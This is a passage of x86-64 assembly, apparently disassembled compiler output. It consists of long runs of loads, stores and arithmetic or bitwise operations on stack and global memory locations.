mov rcx, qword [rsp + 0x71e0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc70], ax
movzx eax, word [rsp + 0xe68]
mov word [rsp + 0xf50], ax
movzx eax, byte [rsp + 0x11c]
movzx ecx, byte [rsp + 0xcb]
sub eax, ecx
mov byte [rsp + 0x7e], al
mov rax, qword [rsp + 0x6fd0]
movzx eax, byte [rax]
mov byte [rsp + 0x12c], al
mov rax, qword [rsp + 0x7bb0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3f3c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3d8c], eax
mov rax, qword [rsp + 0x6e58]
mov qword [rsp + 0x88c0], rax
mov eax, dword [rsp + 0x3cd4]
mov ecx, dword [0x14017a4d0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7e38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x72d8]
mov rcx, qword [rsp + 0x7db0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x82c0]
mov qword [rcx], rax
movzx eax, word [0x14017909c]
movzx ecx, word [rsp + 0xd54]
add eax, ecx
mov word [0x1401790d4], ax
lea rax, [rsp + 0xeb0]
mov qword [rsp + 0x88c8], rax
mov rax, qword [rsp + 0x7fe8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8028]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xed], al
mov rax, qword [rsp + 0x6bd0]
movzx eax, word [rax]
mov word [rsp + 0xf54], ax
mov rax, qword [rsp + 0x6ce0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc60]
sar eax, cl
mov rcx, qword [rsp + 0x7450]
mov word [rcx], ax
mov rax, qword [rsp + 0x77c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3c78]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8048]
mov dword [rcx], eax
mov rax, qword [rsp + 0x70c8]
mov qword [rsp + 0x88d0], rax
mov eax, dword [rsp + 0x3dc8]
movzx ecx, al
mov eax, dword [rsp + 0x3d6c]
shl eax, cl
mov rcx, qword [rsp + 0x75b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7460]
mov rax, qword [rax]
mov qword [rsp + 0x88d8], rax
mov rax, qword [rsp + 0x8268]
movzx eax, byte [rax]
mov rcx, qword [0x14017a670]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [0x14017a4e3], al
movzx eax, word [rsp + 0xd9c]
mov rcx, qword [rsp + 0x6e30]
movzx ecx, word [rcx]
cdq
idiv ecx
mov word [rsp + 0xec4], ax
mov rax, qword [rsp + 0x75d8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6f00]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7fe8]
mov byte [rcx], al
lea rax, [rsp + 0xf1c]
mov qword [rsp + 0x88e0], rax
movzx eax, byte [rsp + 0xd1]
mov rcx, qword [rsp + 0x7598]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xfb], al
mov eax, dword [rsp + 0x3d7c]
mov dword [rsp + 0x3f5c], eax
mov rax, qword [rsp + 0x73d8]
mov rcx, qword [rsp + 0x6d88]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3f48], eax
mov rax, qword [rsp + 0x6fd8]
mov rcx, qword [rsp + 0x81b8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x6d00]
mov qword [rcx], rax
mov rax, qword [rsp + 0x78f0]
mov qword [rsp + 0x88e8], rax
mov rax, qword [rsp + 0x8718]
movzx eax, word [rax]
mov word [0x14017a890], ax
movsx eax, byte [rsp + 0x110]
movsx ecx, byte [rsp + 0x112]
sub eax, ecx
mov rcx, qword [rsp + 0x8510]
mov byte [rcx], al
mov rax, qword [rsp + 0x75c0]
movzx eax, byte [rax]
mov byte [rsp + 0x12d], al
mov rax, qword [rsp + 0x6a40]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xc7]
add eax, ecx
mov rcx, qword [rsp + 0x6e60]
mov byte [rcx], al
lea rax, [rsp + 0xd4c]
mov qword [rsp + 0x88f0], rax
mov rax, qword [rsp + 0x8160]
mov rcx, qword [rsp + 0x80e8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7c80], rax
mov rax, qword [rsp + 0x8320]
mov rcx, qword [rsp + 0x7098]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3e68], eax
lea rax, [rsp + 0x71c8]
mov qword [rsp + 0x88f8], rax
mov rax, qword [rsp + 0x80d8]
mov rcx, qword [rsp + 0x7aa0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x6da0]
mov dword [rcx], eax
movzx eax, byte [0x14017a4e3]
movzx ecx, byte [rsp + 0xf9]
sub eax, ecx
mov byte [0x14017906e], al
lea rax, [rsp + 0xd18]
mov qword [rsp + 0x8900], rax
mov rax, qword [rsp + 0x7130]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6cd0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x5e], al
mov rax, qword [0x14017a820]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xcac]
shl eax, cl
mov word [rsp + 0xc80], ax
movzx eax, word [rsp + 0xc7c]
mov word [rsp + 0xf58], ax
mov eax, dword [rsp + 0x3c8c]
mov ecx, dword [rsp + 0x3d4c]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7fd0]
mov dword [rcx], eax
mov rax, qword [0x140179010]
mov qword [rsp + 0x8908], rax
mov rax, qword [rsp + 0x71c8]
mov rcx, qword [rsp + 0x6de8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x83a0], rax
mov rax, qword [rsp + 0x8290]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3b58]
sar eax, cl
mov rcx, qword [rsp + 0x6da0]
mov dword [rcx], eax
movzx eax, byte [0x140179008]
movzx ecx, byte [rsp + 0xe6]
and eax, ecx
mov byte [0x14017a4ff], al
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x8910], rax
mov rax, qword [rsp + 0x6b30]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6f28]
movzx ecx, word [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0x83d0]
mov word [rcx], ax
lea rax, [rsp + 0x7e]
mov qword [rsp + 0x8918], rax
movsx eax, word [rsp + 0xcf0]
movsx ecx, word [rsp + 0xdd8]
sub eax, ecx
mov word [rsp + 0xe1c], ax
mov rax, qword [rsp + 0x7168]
mov rax, qword [rax]
mov qword [rsp + 0x8920], rax
mov rax, qword [rsp + 0x72d0]
mov eax, dword [rax]
mov ecx, dword [0x14017a4d0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3d84], eax
mov eax, dword [rsp + 0x3ed0]
mov ecx, dword [rsp + 0x3e44]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8738]
mov dword [rcx], eax
lea rax, [rsp + 0x8278]
mov qword [rsp + 0x8928], rax
mov rax, qword [rsp + 0x7940]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x70f0]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401790d8], ax
movzx eax, byte [rsp + 0x94]
movzx ecx, byte [rsp + 0xf2]
sub eax, ecx
mov rcx, qword [rsp + 0x7758]
mov byte [rcx], al
lea rax, [rsp + 0xe0c]
mov qword [rsp + 0x8930], rax
movzx eax, word [0x140179048]
movzx ecx, word [rsp + 0xd70]
add eax, ecx
mov word [rsp + 0xefc], ax
movsx eax, byte [rsp + 0xf6]
mov rcx, qword [rsp + 0x85a8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x128], al
lea rax, [rsp + 0x6be8]
mov qword [rsp + 0x8938], rax
mov rax, qword [rsp + 0x84f8]
mov rcx, qword [rsp + 0x8030]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x7240]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3f28]
mov dword [rsp + 0x3f60], eax
mov eax, dword [rsp + 0x3d04]
mov rcx, qword [rsp + 0x6ad0]
mov qword [rsp + 0x8940], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8940]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x6b00]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7728]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xddc]
or eax, ecx
mov rcx, qword [0x14017a628]
mov word [rcx], ax
movzx eax, byte [rsp + 0x85]
movzx ecx, byte [rsp + 0x55]
xor eax, ecx
mov byte [rsp + 0x10d], al
movzx eax, word [0x140179078]
mov word [rsp + 0xf5c], ax
mov rax, qword [rsp + 0x6a58]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8228]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0xfa], al
mov rax, qword [rsp + 0x8120]
movzx eax, byte [rax]
mov byte [rsp + 0x12e], al
mov rax, qword [rsp + 0x8628]
mov rcx, qword [rsp + 0x75f0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x8300]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7788]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3c58]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3ee0], eax
lea rax, [rsp + 0x3ea4]
mov qword [rsp + 0x8948], rax
mov rax, qword [rsp + 0x85c8]
mov rcx, qword [0x140179010]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7120], rax
movzx eax, byte [rsp + 0x71]
mov byte [rsp + 0x12f], al
movzx eax, word [rsp + 0xc14]
movzx ecx, word [rsp + 0xd88]
sub eax, ecx
mov word [0x14017a890], ax
mov rax, qword [rsp + 0x8338]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6c38]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7258]
mov word [rcx], ax
movzx eax, byte [rsp + 0x66]
mov byte [rsp + 0x130], al
movsx eax, byte [rsp + 0x119]
mov rcx, qword [rsp + 0x79e8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xdf], al
mov rax, qword [rsp + 0x8318]
mov ecx, dword [rsp + 0x3d40]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8248]
mov dword [rcx], eax
lea rax, [rsp + 0x6f90]
mov qword [rsp + 0x8950], rax
mov rax, qword [rsp + 0x7ea0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3ea4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3db4], eax
mov rax, qword [rsp + 0x84c8]
mov rax, qword [rax]
mov qword [rsp + 0x8958], rax
movsx eax, word [rsp + 0xd90]
movsx ecx, word [rsp + 0xd4c]
add eax, ecx
mov rcx, qword [rsp + 0x7398]
mov word [rcx], ax
lea rax, [rsp + 0xddc]
mov qword [0x14017a898], rax
movzx eax, byte [0x14017900a]
movzx ecx, byte [rsp + 0x56]
add eax, ecx
mov rcx, qword [rsp + 0x8670]
mov byte [rcx], al
movzx eax, word [rsp + 0xcb4]
mov word [rsp + 0xf60], ax
movzx eax, word [rsp + 0xcb8]
movzx ecx, word [rsp + 0xe10]
or eax, ecx
mov word [rsp + 0xddc], ax
lea rax, [rsp + 0x6d58]
mov qword [rsp + 0x8960], rax
mov rax, qword [rsp + 0x7890]
mov ecx, dword [rsp + 0x3e44]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x7cd8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7fb8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x7d08]
sar rax, cl
mov qword [rsp + 0x8470], rax
mov rax, qword [rsp + 0x6ac0]
mov eax, dword [rax]
mov dword [rsp + 0x3f64], eax
movsx eax, byte [rsp + 0xd3]
movsx ecx, byte [rsp + 0x103]
shl eax, cl
mov rcx, qword [rsp + 0x7920]
mov byte [rcx], al
mov rax, qword [rsp + 0x6fa0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x121]
and eax, ecx
mov byte [0x140179057], al
mov rax, qword [0x14017a560]
movzx eax, word [rax]
mov word [rsp + 0xf64], ax
movzx eax, word [rsp + 0xd54]
movzx ecx, word [rsp + 0xf2c]
add eax, ecx
mov word [rsp + 0xf30], ax
lea rax, [rsp + 0xca]
mov qword [rsp + 0x8968], rax
mov rax, qword [rsp + 0x6f50]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6c88]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7a78]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8700]
mov rcx, qword [rsp + 0x79c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3ee8], eax
mov rax, qword [rsp + 0x7460]
mov rax, qword [rax]
mov qword [rsp + 0x8970], rax
mov rax, qword [rsp + 0x8208]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3d88]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3b58], eax
lea rax, [rsp + 0xf1]
mov qword [rsp + 0x8978], rax
lea rax, [rsp + 0xe70]
mov qword [0x14017a8a0], rax
mov rax, qword [rsp + 0x78a0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x107]
add eax, ecx
mov byte [rsp + 0xa2], al
mov rax, qword [rsp + 0x79e8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6fa8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x86], al
lea rax, [rsp + 0xdc4]
mov qword [rsp + 0x8980], rax
movsx eax, byte [rsp + 0x74]
movsx ecx, byte [0x14017a4fc]
sub eax, ecx
mov rcx, qword [rsp + 0x75c0]
mov byte [rcx], al
lea rax, [rsp + 0x3e2c]
mov qword [rsp + 0x8988], rax
mov rax, qword [rsp + 0x7a10]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7a08]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7128], rax
mov rax, qword [rsp + 0x7160]
mov rcx, qword [rsp + 0x8148]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x82c0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3e14]
mov dword [rsp + 0x3f68], eax
lea rax, [rsp + 0xebc]
mov qword [0x14017a8a8], rax
mov rax, qword [rsp + 0x7b88]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6f88]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0xe3], al
lea rax, [rsp + 0xe78]
mov qword [rsp + 0x8990], rax
mov rax, qword [rsp + 0x76f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6bd0]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x6b30]
mov word [rcx], ax
movsx eax, word [rsp + 0xe58]
mov rcx, qword [0x14017a848]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x6b10]
mov word [rcx], ax
mov rax, qword [rsp + 0x70b0]
mov rax, qword [rax]
mov qword [rsp + 0x8998], rax
mov rax, qword [rsp + 0x7fb8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8138]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7218]
mov qword [rcx], rax
lea rax, [rsp + 0x3d58]
mov qword [rsp + 0x89a0], rax
mov rax, qword [rsp + 0x77c0]
mov ecx, dword [rsp + 0x3be0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3e98], eax
movzx eax, byte [rsp + 0xde]
movzx ecx, byte [rsp + 0x7e]
sub eax, ecx
mov byte [0x14017902e], al
movzx eax, byte [rsp + 0x9d]
mov byte [rsp + 0x131], al
mov rax, qword [0x14017a8a8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd04]
add eax, ecx
mov word [rsp + 0xeac], ax
mov rax, qword [rsp + 0x7408]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd54]
add eax, ecx
mov word [rsp + 0xe54], ax
lea rax, [0x140179046]
mov qword [rsp + 0x89a8], rax
mov rax, qword [rsp + 0x8040]
mov ecx, dword [rsp + 0x3e94]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3d58], eax
lea rax, [rsp + 0x7ef8]
mov qword [rsp + 0x89b0], rax
mov rax, qword [rsp + 0x73b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8088]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6d70], rax
mov rax, qword [rsp + 0x7ac8]
mov rcx, qword [rsp + 0x7230]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x7330]
mov dword [rcx], eax
mov rax, qword [rsp + 0x81c0]
movzx eax, byte [rax]
mov byte [0x14017a584], al
movzx eax, byte [rsp + 0xf3]
mov byte [rsp + 0x132], al
mov rax, qword [0x14017a620]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf1c]
and eax, ecx
mov rcx, qword [rsp + 0x6be0]
mov word [rcx], ax
movzx eax, byte [rsp + 0xcf]
mov byte [rsp + 0x133], al
mov rax, qword [rsp + 0x7a60]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7eb0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7ac0]
mov word [rcx], ax
mov rax, qword [rsp + 0x7198]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7240]
mov qword [rsp + 0x89b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x89b8]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x7508]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8048]
mov eax, dword [rax]
mov dword [rsp + 0x3f6c], eax
mov rax, qword [rsp + 0x8810]
mov rcx, qword [rsp + 0x8480]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x7768]
mov qword [rcx], rax
lea rax, [rsp + 0x3db4]
mov qword [rsp + 0x89c0], rax
mov rax, qword [rsp + 0x80a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf50]
sar eax, cl
mov rcx, qword [0x14017a6c0]
mov word [rcx], ax
mov rax, qword [rsp + 0x80b8]
movsx eax, byte [rax]
mov rcx, qword [0x14017a888]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0xf8], al
movzx eax, byte [rsp + 0x58]
movzx ecx, byte [rsp + 0xca]
sub eax, ecx
mov rcx, qword [rsp + 0x6df8]
mov byte [rcx], al
lea rax, [rsp + 0xe34]
mov qword [rsp + 0x89c8], rax
movzx eax, byte [rsp + 0xfb]
mov rcx, qword [0x14017a600]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x9b], al
mov rax, qword [rsp + 0x70a8]
mov eax, dword [rax]
mov dword [rsp + 0x3f70], eax
mov rax, qword [rsp + 0x7968]
mov ecx, dword [rsp + 0x3c28]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8578]
mov dword [rcx], eax
lea rax, [rsp + 0x7f08]
mov qword [rsp + 0x89d0], rax
mov rax, qword [rsp + 0x7cb0]
mov rax, qword [rax]
mov rcx, qword [0x140179010]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7708]
mov qword [rcx], rax
movsx eax, byte [rsp + 0xb9]
movsx ecx, byte [rsp + 0xa6]
add eax, ecx
mov byte [0x14017906f], al
mov rax, qword [0x14017a620]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xcb4]
sub eax, ecx
mov word [rsp + 0xe1c], ax
movzx eax, word [rsp + 0xc5c]
mov word [rsp + 0xf68], ax
mov rax, qword [rsp + 0x75a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xb0]
add eax, ecx
mov byte [rsp + 0x129], al
mov rax, qword [0x14017a888]
movzx eax, byte [rax]
mov byte [rsp + 0x134], al
mov rax, qword [rsp + 0x7ff8]
mov rcx, qword [rsp + 0x7b60]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x74e0], rax
mov eax, dword [rsp + 0x3e88]
mov ecx, dword [rsp + 0x3e80]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7c58]
mov dword [rcx], eax
lea rax, [rsp + 0x6c00]
mov qword [rsp + 0x89d8], rax
mov eax, dword [rsp + 0x3f54]
mov ecx, dword [rsp + 0x3eb4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3f48], eax
mov rax, qword [rsp + 0x81a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf08]
xor eax, ecx
mov word [0x14017a5c0], ax
lea rax, [0x14017901e]
mov qword [rsp + 0x89e0], rax
movsx eax, word [rsp + 0xd5c]
movsx ecx, word [rsp + 0xdd8]
sar eax, cl
mov rcx, qword [rsp + 0x89c8]
mov word [rcx], ax
movzx eax, word [rsp + 0xeb8]
movzx ecx, word [rsp + 0xf30]
shl eax, cl
mov word [rsp + 0xcd0], ax
mov rax, qword [rsp + 0x79e8]
movzx eax, byte [rax]
mov byte [rsp + 0x135], al
mov rax, qword [rsp + 0x7f00]
mov rcx, qword [rsp + 0x8480]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x8088], rax
mov eax, dword [rsp + 0x3bb4]
mov dword [rsp + 0x3f74], eax
mov rax, qword [rsp + 0x74b0]
mov rcx, qword [rsp + 0x7918]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3e80], eax
mov rax, qword [rsp + 0x7dd8]
mov qword [rsp + 0x89e8], rax
mov rax, qword [rsp + 0x73e0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc28]
sub eax, ecx
mov word [0x1401790dc], ax
movzx eax, word [0x14017a808]
mov rcx, qword [rsp + 0x8840]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xc24], ax
mov rax, qword [rsp + 0x7728]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe6c]
imul eax, ecx
mov word [rsp + 0xddc], ax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x89f0], rax
movsx eax, byte [rsp + 0x11e]
mov rcx, qword [rsp + 0x8640]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xb2], al
lea rax, [rsp + 0x3ef8]
mov qword [rsp + 0x89f8], rax
mov rax, qword [rsp + 0x6b58]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7c90]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7668], rax
mov rax, qword [rsp + 0x7268]
mov rcx, qword [rsp + 0x7ff8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x7510]
mov qword [rcx], rax
lea rax, [rsp + 0x3eb8]
mov qword [rsp + 0x8a00], rax
movsx eax, word [rsp + 0xd28]
mov rcx, qword [rsp + 0x7628]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xca8], ax
movzx eax, byte [rsp + 0xbb]
movzx ecx, byte [rsp + 0x62]
add eax, ecx
mov byte [0x140179057], al
movzx eax, byte [rsp + 0x77]
mov byte [rsp + 0x136], al
mov rax, qword [rsp + 0x6f18]
movzx eax, word [rax]
movzx ecx, word [0x1401790bc]
add eax, ecx
mov rcx, qword [rsp + 0x74b8]
mov word [rcx], ax
movsx eax, word [rsp + 0xe00]
movsx ecx, word [rsp + 0xea4]
add eax, ecx
mov word [rsp + 0xe98], ax
mov eax, dword [rsp + 0x3e00]
mov dword [rsp + 0x3f78], eax
mov rax, qword [rsp + 0x6c68]
mov ecx, dword [section..data]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x7be0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7740]
mov rax, qword [rax]
mov qword [rsp + 0x8a08], rax
mov rax, qword [rsp + 0x7390]
mov rcx, qword [rsp + 0x7fa8]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x8690], rax
mov rax, qword [rsp + 0x6d68]
movzx eax, byte [rax]
mov rcx, qword [0x14017a640]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x123], al
lea rax, [rsp + 0xf3]
mov qword [0x14017a8b0], rax
lea rax, [rsp + 0xde0]
mov qword [rsp + 0x8a10], rax
mov rax, qword [rsp + 0x8798]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xfe]
xor eax, ecx
mov byte [rsp + 0x6b], al
movzx eax, word [rsp + 0xd74]
mov word [rsp + 0xf6c], ax
mov rax, qword [rsp + 0x8200]
mov rcx, qword [rsp + 0x7bd0]
mov qword [rsp + 0x8a18], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8a18]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x7240]
mov qword [rcx], rax
lea rax, [rsp + 0x3eec]
mov qword [rsp + 0x8a20], rax
mov rax, qword [rsp + 0x6fc0]
mov ecx, dword [rsp + 0x3c90]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3cec], eax
mov rax, qword [rsp + 0x7dd0]
mov rcx, qword [rsp + 0x7378]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x7990]
mov qword [rcx], rax
lea rax, [rsp + 0xda]
mov qword [rsp + 0x8a28], rax
mov rax, qword [0x14017a658]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x42]
sub eax, ecx
mov byte [0x140179009], al
mov rax, qword [rsp + 0x6ce0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8980]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x7ae8]
mov word [rcx], ax
movzx eax, byte [rsp + 0xee]
mov byte [rsp + 0x137], al
mov rax, qword [0x14017a8a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf20]
sub eax, ecx
mov word [rsp + 0xe5c], ax
mov rax, qword [rsp + 0x7ad8]
mov ecx, dword [rsp + 0x3f3c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8948]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7038]
mov qword [rsp + 0x8a30], rax
mov rax, qword [rsp + 0x6c98]
mov rcx, qword [rsp + 0x8198]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7a58], rax
mov eax, dword [rsp + 0x3d0c]
mov dword [rsp + 0x3f7c], eax
mov rax, qword [rsp + 0x7cc0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xc0]
sub eax, ecx
mov byte [rsp + 0x9f], al
mov rax, qword [rsp + 0x8758]
movzx eax, word [rax]
mov word [0x14017a8b8], ax
mov rax, qword [rsp + 0x8670]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6fd0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8560]
mov byte [rcx], al
lea rax, [rsp + 0xc60]
mov qword [rsp + 0x8a38], rax
mov rax, qword [rsp + 0x7c88]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6a38]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xc10], ax
movzx eax, byte [rsp + 0x8e]
mov byte [rsp + 0x138], al
mov rax, qword [rsp + 0x74b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3f24]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x85b8]
mov dword [rcx], eax
lea rax, [0x140179010]
mov qword [rsp + 0x8a40], rax
mov rax, qword [rsp + 0x6d48]
mov ecx, dword [rsp + 0x3c34]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x3e70], eax
mov rax, qword [rsp + 0x7990]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6e68]
mov qword [rsp + 0x8a48], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8a48]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x7558], rax
mov rax, qword [rsp + 0x7c98]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe74]
and eax, ecx
mov word [0x1401790d8], ax
movzx eax, byte [rsp + 0x128]
mov byte [rsp + 0x139], al
mov rax, qword [rsp + 0x7b18]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd30]
sub eax, ecx
mov word [rsp + 0xdf0], ax
lea rax, [rsp + 0x48]
mov qword [rsp + 0x8a50], rax
movzx eax, word [rsp + 0xe84]
movzx ecx, word [rsp + 0xde0]
sub eax, ecx
mov word [rsp + 0xf48], ax
mov eax, dword [rsp + 0x3d64]
mov ecx, dword [rsp + 0x3e70]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c14], eax
lea rax, [rsp + 0x8288]
mov qword [rsp + 0x8a58], rax
mov rax, qword [rsp + 0x7160]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x85c8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8690], rax
mov eax, dword [rsp + 0x3f5c]
mov dword [rsp + 0x3f80], eax
movsx eax, word [0x140179088]
mov rcx, qword [rsp + 0x7bb8]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x14017a718], ax
mov rax, qword [rsp + 0x72f8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7018]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6fa8]
mov byte [rcx], al
movzx eax, byte [rsp + 0xb0]
movzx ecx, byte [0x140179033]
sub eax, ecx
